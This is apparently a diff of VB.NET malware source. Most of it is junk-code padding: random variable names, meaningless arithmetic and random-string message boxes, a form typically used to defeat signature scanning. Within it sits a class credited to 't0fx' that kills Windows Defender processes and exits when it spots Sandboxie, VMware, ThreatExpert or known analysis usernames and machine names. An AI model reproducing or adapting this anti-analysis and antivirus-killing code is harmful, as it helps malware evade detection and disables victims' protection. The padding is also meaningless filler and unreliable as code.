Dim YRvtMCyRLSVDCBOCkdTtIiwwDv As String = "tvYnNFHSvGYTHnoDNzgLTtaWcKFytiuueT"
|
||||
Dim KLzKJoHZNvqVvDPWkRrEHzHdoO As String = "XFeVBBxEwqUnKSuZpnLvCgvHhNxZbFQyYO"
|
||||
Dim vbBItdYYPdvDzHRajNkeRDRmqy As String = "ynZYoByZcVssYmqYWitBytCKYXLOlZFtWCiwTJhWZWmJgFkaM"
|
||||
End If
|
||||
Dim NRXKKMwbCSsJGOpYMKZJuFRQuM As String = "MYflzmZIeclxIHwREXHmGtauFnhOlpEjiouHtllDHzwiyvEagc"
|
||||
Dim xcIdAxNNsrchDWWMtavBGJuQjUssLihBPuldcoaQMBySAPhNwyfkmVB As Integer = 299161
|
||||
Dim TNDBvEWbnozHQEReocfBwuXDPeRwdgzsJiPwRSHxxsqeKlZyGywOYUfm As Integer = 622085
|
||||
End Function
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,110 @@
|
||||
Module ZIdBpWVkXnsXLhqpgQPF
|
||||
Public Sub YCwJfxcaXQzqlEKxQhqZkgmSdtRlVIKNlqp(ByVal NdvneJiCKDBGmXJzaVjZJMGkcktRJQaIrRxhEgDdlqdHFbIX As String)
|
||||
Dim CaGOysFZCkZ As Integer = 3910614 + 610205 + 610205 + 441836
|
||||
Dim aXPzktRIbaSkUlYNEmRDogIXPS As String = "owpErGPiEpWHRKzSKQfqHjPlmOcxQzXenuHWgMdCUQTnHoIFOIuYjhhBB"
|
||||
msgbox("WViYtymRNIPXqxtLLoULGkMLJcqYricMoJFUEPCEpDGpzkvitogvRDGicMSxBHswmIgbgpGCNglOqWHnPbXMwbxbxFhWXJpCkTiQacljwmtOQRDBVVHLqTtRovSxBCZFEfvngqAbNKOrWlrhJSuvuDfXXFchAFhOhAuuuHGgndyBsfLUimOERitSZeMLTqKjNgoLCNyW")
|
||||
Dim CXvsojMHUgOjDCoEVaIsgjYkzCRaclWIFjtyTFOEWfOYGiBmGfjjvmB As Integer = 9395112 + 1011903 + 1011903 + 352100
|
||||
Dim uUXsTQvzZawUNZNl As Integer = 9707600 + 1212752 + 1212752 + 552949
|
||||
Dim OVgtXvVBjVehpYVTGKSaEVklCA As String = "ptcPWuBXRLLkbGSgBJDDAgtbPyThPIezgSoNbpEiftIneWPObSfVJVeMjRtUSH"
|
||||
Dim uxRTvpOVaGQeUbIFyhcBIcntVfNbIYkVMQDptULafoYpoTjZyJRUutFr As Integer = 719266
|
||||
msgbox("HMJcJbUuPvPSlcwDzfVwfVMtoGgdfRLNNMGBmmCCbHpOpnuSjBhmrlMGRaPAkhaiJGeLWoZEQwuewDtryuquPglIpXcAVQAjayYVXJGqSPbeOyNQbLtiHhFnpyOrwsHExojruXRzNNecAAZdBlSaPolBGUnUpQhHeGryHdVksymNmwUDSMLdHIpFwpCyiuI")
|
||||
msgbox("iuDevaVOvaoWzvrcwYOKSTNXSWKeTRpCTPPjLoBGOlGbUkbbwgRZLdMqMmSrUwHgmApNSqhNzIyQxNDJKKUxqrLXftPzxHuPLEkFMNfRAtKXOaTCRBzwsMMlzcYqgBZDjXNnvEdWTfiVtCmJmAQOQFtMhipCggXlHtdzidycywSPKEcvDXnmYxSoGyjDjDJQzUsfazrcKdRfaVnjciCvnjWnapLRNNxBmWsMZNXcgxTzrwihlFzXKKURRdKaT")
|
||||
Dim vdbBpUuhBhVaaObNDPdEEL As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim zkoUpoRjPVQTegmIMyncycfspDXWBn As Integer = 4428768 + 495694 + 495694 + 495694
|
||||
Dim mGwZEBrVpnMcfytDBJwPqFhxlzZJwovnbFDZBaEpPpRuscYeptGs As Integer = 669190
|
||||
Dim qYBhIxJgCBCxdGytDGrzrtfqNDtpIExSPVzRNEaddWysuIuBndwWPDUX As Integer = 992114
|
||||
Dim NcStkZxwCBneNIMeFVctnwfBlMenlngzLBpquqPBYlsjqxZQOY As Integer = 8293425 + 1065761 + 405958 + 405958
|
||||
Dim pWqLyoQPTyrpuhUcdwmFUMlkKUucrENVkYWMU As Integer = 5497765 + 606807 + 606807 + 606807
|
||||
Dim DbbuPZzgzxJiUeDtSCmpwfbQxzNnDesDwnMWgeOxUjMkcQOymtRrUYGs As Integer = 766371
|
||||
Dim pvTxxnHwXLMeybwxwozWiPgQtJXbVSugFdlFCruuBGhGLIoFKhRjCfOj As Integer = 619113
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub NgVqzOFzuWQiOYvABDutNGmhTpxdIywNRvCaICvJYOCiqLe(ByVal dsFIwYOqrfkWcvfUtglfsGGuqBTdgMzNMbxULkbkCOsrZgHI As String)
|
||||
Dim iYzCnusRYORHdiaBycpZkJeO As Integer = 3014593 + 517071 + 348702 + 348702
|
||||
msgbox("BQSirCnJEFRVrnpzauRwOvXMfgeLlPoRhykCNBzEmCjsHwBISEZKJHBinleQKcscakRajPcIELeqHPsoKcGSjnlYUJtaerUocxQTBstOFLECrKrvMOFuDhbNUqveKNLGeReTtcvtNxOQZtAttullfzlzNDliadeFMahZkhyiEvzORIbCCEpVrX")
|
||||
msgbox("KysFSXuoGBfcZLdSJAqyasFyMnWDpjepKINhSpJcsxIlTbHpQbDedLqymuaIcYIUpjRPrYeEOCRhVWGlGkNkQCnoUzgVJwJrvwsEhiGAnnlqsODbpWwClbJGDdDoWnribdXtqFwbrQhbjbBinCUyrJKMNUOwbrhKzvLLwUGnpaxEkVYvMybrXfGtFcsPMOcjsOHPCwsfIkYJShIjUHKPelLLHUcbfBrOiEBoKfVLYPBXjGTHmwLyOW")
|
||||
Dim ddprPEOXTOlZaRaYmSWwzAfNhRvjgzaaYcjlwKvhbhMAeIpNXFhx As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim PyPVNrgySelCPYzYUNhrlNwOiuyeiRbaPZKSXKopwjuyGNwoFOJZu As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("NyYNWtjGdebuerGOJDYStUbNJpktJdVzOAiNXtjXSwZSrGNRSVGjguwqvJstUCjXtQycqznzWjPnLLJuibhZFqKtCvULdwuOyJtTsObkKdypukKUUfdRkdNtehFMyRoQlUzmaCHGFSIcosZTyUdMTVLSxJjxbbaFZlkhdnpbrbzmwKRqkNNyiOsbPnUHrLHlxdOKFcMsplJ")
|
||||
msgbox("QhyNxoauaHnXDsdZusWaNpkcqPwCFPZtQtblLGCdfURiflfZgbqEMgxmbSMicDxLHrJFwUDDcSEfKfqKYGkXJqQpspgREqmrTvmEFZrZtUpwvWZoxCtLFPEvQCrlmWGvZbxQpRiCGxMPoEuTfjEDDxbKZakYcsTeDDgWBprtqVKSpZRI")
|
||||
msgbox("ujnKkvSwrvRQEThgkCOuZDKWRVqxwbBsqTOtffztezGuVFLbGTSXYJkRRTDpevosCvvVomeHedhcozePKDfnZWEufpJPcilcXMSnokwVtcJWkXbewBPwEKFnIeWfRIgfBPtDFuqQXtzkmsqDSImJowcgBhGtYrNjpyoaPmBaUVTbThN")
|
||||
Dim fPOoxaAkxWnJocuZqmfnDHOSkMQfBGJohJdLnqBtrfkxefNvsPenRno As Integer = 813476
|
||||
Dim dMjlQbTIlXbKYuOvgrbMhwFLrQTRxmwRIskEEnErPveksGbNNyEedPaX As Integer = 753618
|
||||
Dim nsAuDRitdjNUPufhwAWlUVwcRaJXtTPHuLOzWnZDMazfiOtjhyzyIew As Integer = 606360
|
||||
msgbox("YSTxLhLfCFNYlazhOqSwhOXZfkguqDlLPVbeDohpyiWStcOeCkIJnPTrNlbKqKtIKanKNKXGpqDDqbxgoxETRIwZKJVpMSJvxRGkBEIyPMLaohbJMMHUhEjuJkReSkJsRahykdQnLcufEAdhLLTIzIGVAyPXVTTWGkRxbpWuUVHMqdVacpegepZYfRRmdQFeNbpxC")
|
||||
Dim DRHIPVmcbOJQzkhDhRIYzyZwPEPWRmSVLqIHmOqKnxCMtMazWXYbkDc As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim HPwdIWILVMRIVuY As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim ZCRsacXxLmJGvOqbxmEGLxjpwq As String = "HJWdiUoqUEWBeMxoemLpOjfQAqUljQcZtgLEuzJSNpZtAhtKnaHxFuxwMbGZ"
|
||||
Dim rnoexLLBZGKLoCOdOISTuQHiYdkJbvYoPHOzBJqqWTLvaRobqKUOzlE As Integer = 703541
|
||||
Dim rcpBuRnXzHK As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim UGZGnNlsgjgshnKCgUmQYLYnTv As String = "eliEddHwVGWPkMSsPsatKfHeXvRqXFVmYwazWKayvmHX"
|
||||
Dim KSSuvXkPlLEOd As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim UYNpgMqigkMNXcxiBrTqZwxooqOBYffKqParHprjTHyxrGJDVwYYpLSo As Integer = 800723
|
||||
Dim cQeflogbJRVheCJuUJRBZiwTLWxijQiaOHbJkxJTziehwvmhoFPyD As Integer = 653464
|
||||
Dim cEnrbEJckwpRdvVKGqFFkbsXAlHIYxwhptrRrkgLhHvorLFIDieZzUKeMN As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim yNtjkzxqXbRxYdKhrY As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim WyvbnavtvmWBoaKkwnnYbWZMko As String = "xtexZZRFCyfaeQttCcmuVWXFGZuDeRtlAGbCbRxyXnNXwrowk"
|
||||
Dim RrfVvEJARQKFshrYJjwvwWvYFklyalZFtamosmhYrvClyFDMzgILCY As Integer = 750646
|
||||
Dim qjyVOfYQfiUYlu As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim AotQzUfjbHcYgoEpvNrKvsdlfU As String = "xVgyzxTqKEpPtGrDLXDxBkXihBSgyiqPyqDeNlNbAvdOEu"
|
||||
Dim jYSworavgKAvVnpSvCvXbgHGhICDKlDJYJDOMFyrAinMliIWhdIbSpg As Integer = 672161
|
||||
Dim BLfUXaQsYVvTNMDNySPJdgYuwPYDGwJUCkgEIuYWmlmjyMmNmkOEQEDM As Integer = 524903
|
||||
msgbox("tsumbiUpxqDlkRTUCPjDYCabbouvvKJcnjxBPTIjfsmKlrFYyHPpbDCNNpQQpNwnuCepvpDYpefRBpjNxCxiacVpratbbBkEuAmPcYZxICeWlnadiDducBzwvxZqNDwQXePsQvqvTMdmOzJmKBqrDJVHIDYGvAMLpIkViZGDLXdArbsraNjbIW")
|
||||
Dim XcLjeDKVdoRbCBhhlGPJxLqOpboJHeYhNAJoTSRBmKKWngiIaoO As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim gcHOUshpzsd As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim pMXUOJqAYkFrOnpVsUCSINPVpL As String = "lolVznffLzXoqBEnYgvjlwBaszpergUdpQvcabZXMMmitlbzHXsiRZGszz"
|
||||
msgbox("zgKBzkupPHhdQSXziqxFkiqjrAidvjJjvBSpwFERBDEQioTXYtkpjnlziUTmeSidMKliQEBKiYukyQRpkQyIIfRiyVXwgQYyWWqGgDTPrcBWdMUGOyvkTZDPkWsVFMicShHLQIfCQvZTmkDqzXfQfeWNhDgDOPllpcjricLsuLQXntvPgWBvHCxzczopXfLsdoauwToF")
|
||||
Dim PVUBDHOwpqQoYUAjHhteJVHRXLDqhFRUtjyjkXMWFWvpBvvkwguhizV As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim cybfiMJZhmhakTaq As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim IlaWnfyofcxroWWGtUygSLswnS As String = "DqBXlLxdtUnSLbzwthiFBZdQtlswvLrnOqHodGzMilkpDZjIMQTqUwhxTDRtusF"
|
||||
Dim YSSSqplXOTNQbRdLdLLZNvyAkoAIhGooOukgOhVoCmHjMqSBZWfKZFl As Integer = 719266
|
||||
msgbox("EEFtQIkrWFQzKUAZMvlpJiziursKGzINPhuHfByWSEIJbkNMcQfwZelzPYRfWYZufHEYytbVWumTEaOwOjrOYnyDjYiCLORihdGeNpcOdzsERXSECQENkFkjrogJnyVHHOVfiIgeHouglLNhWxhBychxfepwgwtjjFeJiCUhDouJzYfujMxDkkJrQXaRea")
|
||||
Dim usZwsmjCiFfaloNjCcytlASdUBamIEachGBJQeVCEgmECfUcjxlkH As Integer = 8844269 + 463213 + 463213 + 463213
|
||||
Dim GuyXEOJDmGaew As Integer = 4428768 + 664062 + 664062 + 495694
|
||||
Dim lDCnhHfxjQWltgJifuKSfCcHAj As String = "fSkNcnBtGyuGHqrGroCJqwvmxRcbiNwMIEhkOYgfPcNUI"
|
||||
Dim kxkfQHOktIRWQQpcggSeczLcVVDqRjWWcFHZEjFrhSOEodBnJMdoYinG As Integer = 669190
|
||||
Dim lcfZfGWfmdraxalDxmYjsFXnkYrXWHacxUYkfRMvmxiIgWwZhprfiPbUUH As Integer = 9913266 + 1065761 + 1065761 + 1065761
|
||||
Dim NanJseDuziqzxLqBuea As Integer = 5497765 + 775176 + 775176 + 606807
|
||||
Dim dCSgwfFXeboOhwFuVHKeXoQeoH As String = "VsfMBNntJwhnGfSmDLRZwgUlQbmqsiWlfQytywNkdJlDdCfINT"
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub BIsxFZReTdnaQsijSMKJhTMFHOYoIJEOvcYATX(ByVal UTzlLMgUqAvvKKjIxjOcRIMnkRMbVSrvtYXeeRDSmnUusZIo As String)
|
||||
msgbox("dbvTuewFioJElqgOnYvkrLLXwDVrJXCmGsakcujZXjGEHRJxgvgUOTRPjxSHrqGEYlDaoOMkLHYqjhdBvgoBGbjmuiGMRrWyTKDKdNOlrMIokkwSgOUaispJUrlCykZsgwckKyQwGhKvbiqTdaanKaJAvGLYBdrFyecvwfvmszhFUjnYbzHiyhTiNKgVpcHKpEnEOfd")
|
||||
Dim zpSETHIbrdceMxAgBGCCdUupaBnKeMBsXRuByDICfOTILpEcueWZNHC As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim dQlnUBUhSbFNcCSI As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim fvXZYgfOgyaExCRiMSIHKchsrUxdCGCmSsCQFXakYox As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim MvLCPZfuyIhkDjEptEXCKKKoQGrzbDZslXkRNNUKFcILQRpfdhAlD As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("qNoQYuQjeFPEfdfWIYViiiBbJxpaglXzFkdodDTmlqooGPdCgAyVznXGowgoZDicxnidygcnLlygTDhgbbtYnqLvGvijkdmmEHFevmQHrXtdhCScgiFjLuNzdwGeQKyRYvmlbNPUkbZKUMLkFmzjXzeIcZVbgjXVGwiJuhhEyPSNpCdZpPWSBPVaRLXRZMMhoDArmeSPLvS")
|
||||
msgbox("MmKhkXwElkZgiWxfthBYOfpaRDmrEwCagCCjHCGbbOaKMOQlINSuyzwHbmogTeKgkvhNMKNOpyyOgIfDWbUORZhONGlSZWJBXrSmvwvmIeuLlGukErajrrEaxyedTHtewqFUOoZjPIJOkkdUqNfVgdhgKOObMMhFpvoaaNTvtlnmlWC")
|
||||
msgbox("cvDNWhDBECBwIsGzPnlbxPsCvHUYkpfgJmsvYljOATDVEztJSilUobuioYljdoxitVhznKHOrWQXemEOzIKCZVObHbBIsknbMNKDRGXzqPQYUmnIWUkusdBbOatQUKEIeWBcwJhPKIgsQhyobnSijJgZcocvwwYKDjrTBnGPJmBHGkzyluqiVniBqNNLdRRSSjRUPpTTZLVgrBmgGgkiUoeKXstFnQjQWcYqirxkNeTeV")
|
||||
Dim XJdcVmgQXvbjWsShejKLohCmGJDIoetnDmZwpFEWozNklDcdPIABWOQc As Integer = 813476
|
||||
Dim dMuolgazLvXyIihLHveiRxuipTUCGPQcIuiVJJxRKzLfYPIUVjgciENS As Integer = 753618
|
||||
Dim gezwpcsLYJNUHqmBLzMltBTrFlOSEWZjPGgTnWvMSUISilbRjEUHNax As Integer = 606360
|
||||
msgbox("EhQHREhaZJxArsBlNOxgpETCduzRhFIggvwFzZLSHhNyOYQatUgcJZeHDvOZHlDkzugEtbIVWYnhsyJqJnqGrPsScPjaRZmktgQSFmrXjQQktBXpTYhwBdWgEHhTxfVvHuJsgkNbPuNznNIUPXUgLHIzQcKWgDemZNuOnFfhUSnsGPnhdjgDVzROApXhCaBDiRmbhZPAxgEXaazJJEhWGbmIKqjJnSaZmBoqNFPBfbyWSijKclrvHGNvZIKPBpklLyIq")
|
||||
Dim UyzqIOZPumNpTikRSOjPoPzdgCFYXLyvEcZHWkkkRUaotrVijPgbpCU As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim rdUrBQfITbZMKCEMFxlbzShfVTCMIVNqF As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim gytCncrMRZbteaLjmfcEeIuOf As String = "INYlBymzPIRDosHDjgiSaQOduSturBheIIHjMzkGuSuwgBXkEUQaoQwowPterr"
|
||||
Dim dBlIKDycviSIzuTEamBuENrbIPHePMdlqHrTmynkvPXoTCzEBfJaHri As Integer = 126466
|
||||
Dim uoxkdsjsLkE As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim dJHqQioyxnuhBZkzWtEGcSgwC As String = "FOpsqgeICovITBilcOvKnvUuXoQoBeTUJZwFE"
|
||||
Dim kKWNDBWxPKOd As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim oBEHGxgtNqVZfVwLrqopyxymsWXnjhvVADjIptGarjGZUnmPIMVQLlCR As Integer = 653464
|
||||
Dim dEXKPHgwhhlyjTMaFReECMCVGtkyIArKmjtIpuSfJvERZliuJqHWrLz As Integer = 653464
|
||||
Dim bzzdBJgUlzqEyQpeWThJatFKXOcFOWPaUSDpSpkKPiRyMNShONVcaBvra As Integer = 9740290 + 556347 + 556347 + 387978
|
||||
Dim cOmXMZgYRvYsfDLHXi As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim SwzUkioXeGPWQLWyCPkuRXUgBB As String = "CHkKEXoIqhOpszEvCylgXYMKXXfWGnFvsILtSmbEhWCAcrmUOSOoTYAhqQPZTdzR"
|
||||
Dim cJjSbXgidrMpZJEtimYpuQAcmlVqpPgedwEQQGTEQUzJPvZsDUlPhPYw As Integer = 750646
|
||||
Dim TyPXQgFtgKIing As Integer = 909288 + 1158894 + 1158894 + 499091
|
||||
Dim ewtgQUqywlbHqHMIUkBnGNNam As String = "YVamzAhsRIqehDtXDsgHZVljdPtFCwFNJBdteSOvJhSGcq"
|
||||
Dim MoiyqtIYhmoFWaOauXtnQthUiQHkitFJPshUclYuOHgbZYFylQGXrZRq As Integer = 672161
|
||||
Dim vYIavJIQPxWDjKnHXFhuIOTRQfNMLXSPMzJnOtrFWFTFxKNDYfPSYNmJ As Integer = 524903
|
||||
msgbox("kZkrtTGbFxtJnXOezmoKvknlHwhmVZIqbKyojwaJmQBDEbvCYdQaRcwHGTHlEhLGJlDcQNuFojUaxJDIMsmTPBWrYyWbamhebRGhKFvRIQIDpJVzJtLRKwutEkkGfENbRPflNMvncYMARfbJuuwWCNumEnPzKJCzozPbbtZgYdAUPrJMxkWHUBoYmMXigTzdjOQiWLNqQeJIHvDHaIfBlLhYrjXCsPTJCLXfAyXJrxUpqnvmsRX")
|
||||
Dim wrdlEiWRqByEkKHjwlNiKcETptBGDmjkzMeBGpOGkoYQBPikHPt As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim SvUhMLvDTnjsxcxUacHaXGZXqkBNP As Integer = 3910614 + 441836 + 441836 + 441836
|
||||
msgbox("MvnlpRVNuNQrhrOJOFWVVZGzqFIhtzShTPXfACUXdQymxkbHksJLkVBVHHpUkThWzcOQOJLNVzUNFMBZNWhJoMVfYZpPOmMekpUWahSRkeNkkhGMsIxsBnyekVPuBtoJVQwaGJYlQUleJkaVUPNmtnQTkKZlRdvKAUDDcfMWKlwZvKqDoGnSlBHBWGaQfePlWPxiIiOaM")
|
||||
msgbox("TlbgaojgmgoiukKgeLHYKCtysyodVScjBxpFfxmjuRNSVWIMCokMbHPdXwfsOknMsBuuaukTLWKiKMqwOeOPKESovhnZJrWUQvxfjEyRHwJxmBWranUmkhevKTxQjMlHDnVgNcKDZbrVGsYqMrrBqdYDKIlTTjSMkDMfpfXthUVMyMbFylunEbQPMyewHuzUClEbbpkYhvKhTLBQNKWNLGZnnbXoTCFTFdkYaYqooOnAFXAQTWyyBCUEzrPqolGGkeq")
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,73 @@
|
||||
'anti threatExpert, vmWare, Anubis, sandboxie, windows defender by t0fx
|
||||
Public Class ant
|
||||
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
|
||||
|
||||
Public Shared Sub mofo()
|
||||
seekit("MSASCui")
|
||||
seekit("msmpeng")
|
||||
antiSandboxie()
|
||||
IsVmWare()
|
||||
AntiThreatExpert()
|
||||
checkUsername()
|
||||
checkComputername()
|
||||
End Sub
|
||||
|
||||
Private Shared Sub seekit(ByVal gay1 As String)
|
||||
For Each p As Process In Process.GetProcesses()
|
||||
If p.ProcessName.Contains(gay1) Then
|
||||
Try
|
||||
p.Kill()
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Shared Sub checkUsername()
|
||||
Dim Usernames As New List(Of String)
|
||||
Usernames.Add("UserName")
|
||||
Usernames.Add("User")
|
||||
Usernames.Add("honey")
|
||||
Usernames.Add("sandbox")
|
||||
Usernames.Add("currentuser")
|
||||
Usernames.Add("User")
|
||||
For Each name As String In Usernames
|
||||
If Environment.UserName = name Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Shared Sub checkComputername()
|
||||
Dim Computername As New List(Of String)
|
||||
Computername.Add("ComputerName")
|
||||
Computername.Add("COMPUTERNAME")
|
||||
Computername.Add("DELL-D3E62F7E26")
|
||||
Computername.Add("DWI-9625AC2E275")
|
||||
Computername.Add("MICHAEL-F156CF7")
|
||||
For Each name As String In Computername
|
||||
If Environment.MachineName = name Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Public Shared Sub antiSandboxie()
|
||||
If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
Public Shared Sub IsVmWare()
|
||||
Dim Hndl As Long
|
||||
Hndl = FindWindow("VMDragDetectWndClass", vbNullString)
|
||||
If Hndl = 0 Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Shared Sub AntiThreatExpert()
|
||||
If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,146 @@
|
||||
Module cxkyNFhHtwMVSyxBWPea
|
||||
Public Sub EyhqJIBIzYBhWsFuUEQviWCZqkSfdPKXNqGUdkJQiH(ByVal xUXstPAkyQRqnvvJZWaIYzgrmaMnzEtuecuqFPvKuThYynuoJ As String)
|
||||
Dim rnLHgtpvAtarYLgShnF As Integer = 1945596 + 775176 + 775176 + 775176
|
||||
Dim RywiCxpyYniDNYhDhSEntCGYY As String = "TpYkVVltQlCUXTzwwyYGswfnxvGGULfkrgRysRJiSRqCdrJhAD"
|
||||
Dim brCOYtgkqICnyzpAztiGllJfWTKwZLrtXKcCOzensahDnaiHQhDrreDZ As Integer = 766371
|
||||
Dim kfjJvkRkNTeYgTWcpARgSCPoBwPIFMtGRUEerghcSFMwvZMmUecNkOpm As Integer = 619113
|
||||
msgbox("BRDGbQqwLEPbgfnLcALvIVpjhsFKzNolFLHCDQmkzlJZXCNSsKBhTjoGGJMCeTKlICIHJTWvYRqESpXVsBpdDelOuiMlpbCIVIvnStSwgzWoJMKHUBphGSeTyzXimBbHPXEIbMfMeVMYgXJkmrBXvRpkkchsbahUWWLzzvdmaRiiZZJXRYvdRpRVnrUuZViKaoeo")
|
||||
Dim DsOqNUciGzeQyHJeOEBUHFXqzVNbkwtOqhooDxCmFTTKedGITamRDuSQ As Integer = 3014593 + 517071 + 517071 + 348702
|
||||
Dim vGKmGgWSzaiMnNc As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim eJjxkzudTjBrvOpEfDIFZvOxevnRKFNtigIzHBhkqswv As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim kcgIHgVDysrmSpydVGnNXARxMIbpolfbCnNbNjyKLaQuUbvXvoF As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("FpnQwFpZtPXCmMHgMJLifPEpRsKKCFgjmzProcxLvZLTpCOUazccYBlOjTCWyashmROCqXNRcoupPSuuAVQwFmkziLJGmiEuEvnyzHWEXYeTbnZhjuLPEDodcEkGLRTCtPyFOZVvlrcMuGdmvoqpkrfibQdusgyuVUaxbYLLkJkNWqdbOZGVNCSNPUGrKzewigxOcWUidHN")
|
||||
msgbox("gnUnZlBeFyOHtdAaIlkLzkgLzwXMdZIMVgBKJjzFWRKNqrvngmaPSpqGnDnUCPEdNfaQCTEVgOhDwtmWDBlREzzSuUhUnNRCBAiabzchEnGfXJcVtcsgCquNMOfziTdjGjnywTbSBlvMTtIdcEVSnvqosrmOoDPDKiGrUtTiUhOUZN")
|
||||
msgbox("HtzBIhcwvQxgTdbJHHRXaqRhghmJEQjkmyEYeFswImJbxwMnLVEdCfoqZqnOKiabJmWVmkBdoQKMTBUWcZApzmkZtZaJjczBeqcgQSzPWrVilHLOxPYqraXIIlbCPELovZOtGSNZsksxvURCPdFESLBFKrVUUGovlOfpIwAnyieEFMOzmgcHfHmddvnhKhvZAWEadHGNDkYXGvBTkSUVYgGuOmYHvsLsINsgzbxqIq")
|
||||
Dim iuqyjGboemztMNSKGJyVfeYFMtTNTwtvKWpIjVsTGCMemrPLZtiEQTUa As Integer = 813476
|
||||
Dim akMzblErCOWDjZgNGVQyxRamsQqPwCzAVwgebTMAeXdoXfwPJsKhqCic As Integer = 753618
|
||||
msgbox("tNQJWRHpVATfsSgIUYWexfqNhZWsvvoTvYlpEqOhKpgyRIRfUTwdhegljFRtcvApEYDsiqHdxuKhKInGYSTwVhVYFsEhJJnLtSOWYMzZxGZjZXFSFpfaxkwjUkDFsbTEUixjxGQchWYEPwytOMaLhDYJULDdEsRWgzojVRxwfIXkmlGoalarvzcUZhauBNOENUjlAT")
|
||||
msgbox("aCwyOpqJLYdwKDYXUeskfJbSnjWliKXJAJfklbYkQGkGrZGmnlhlPnqdvoVBDwPcOPepQBEbptrevtESVOTKwozUZvaJJsrDQPHVfjYOkgMZwiGxTKQNBipaZzBSaTrVJFdlHuWhDOJyXNCJhToDGqDbxwMketGLufGrWEkNulyKyBglPkomhcHvgWSwoWHZlEwiEoMttRCVgKREPdVdBUytZFZdrzSnKUBTtHiJaKqsOqWweiyPnXusOgWQzWVWmHd")
|
||||
Dim xsqPasAWJohbGXSaIoYJUhSMOFdljqmeEloUFaIPjUEIRoBLrZWfExr As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim xsbfhTYZzZuKKJGpqSrQcXwFMZkQILMrb As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim zIuHdWZcDFIcInhFpEFiaHjxqqzHGcGEhLjxkVOzOpEmiyqKhLnafvMm As Integer = 703541
|
||||
Dim ucSnWbmqvTfLwqGcgzDahaycWfbjoaLeZRHuaqQnFktmXDrrQFztJCwx As Integer = 126466
|
||||
Dim lNNhippszNQ As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim ZgTFjfAgAIyOsbZBsAoIlsLPGP As String = "ghfnewTqlBwtbvhylCTghuGpIayRdfJZshgpQ"
|
||||
Dim bipzzBqrBbnzw As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim LqyrkVNAQRXrxZHbgPSMrypowthjBQThxVtAXSvfrrjtjpnFoOLHamDG As Integer = 653464
|
||||
Dim mWRvpjtMhTkkmpfrCrrMBIvBpelpPzBXqPoeffGvgoErkKDUqouTh As Integer = 653464
|
||||
Dim EHlrVgIGyxSWkxCZTrwTUxSBqhfmjYJwTmdTaITymiVCFDADrkmFNyeCT As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim RfzioxFBprujDcXDta As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim aBOagsgQsWQQCeubfSVopRGCFR As String = "IulUWpHBDZautIcpKOLCamxFAElknbbESgqnwOugTKmZlYGvyavFxHgRaDPPCWa"
|
||||
Dim LIzWcMiuvHQCSXqgjcZxzzRPbtZdkmyFYbbvvsvBXSDtFLRoZxlDbRM As Integer = 750646
|
||||
Dim CxbmbTsOjswsnT As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim yhTuQbGfemguZzOxZjZtVEuzQx As String = "mPazFNpotibycMVsbkzVHMdRiAYIpzfnOCKzoMrlzYhAHM"
|
||||
Dim GXqgkZoqDfsYjTxNYqbyJVncBTbaZIBhPMWrwGnJCeMYTMdnpOqPiXKh As Integer = 672161
|
||||
msgbox("NSvnpPeUMOzPQuxTYgZtukYWtDkDTgygtqeXWOGOyzONwWEcEJZodfszMwEqNaotwMgSlaJviCnttNkdYmozZCwjVjHsdUosCiwlqbGFyYSVQsKKNPPrqaFPBQnXVrTRvGUsvsUgdQyHUoyMFvwdldphntsuzTwFJhvAGATMEfaTNdWWkeeZQmV")
|
||||
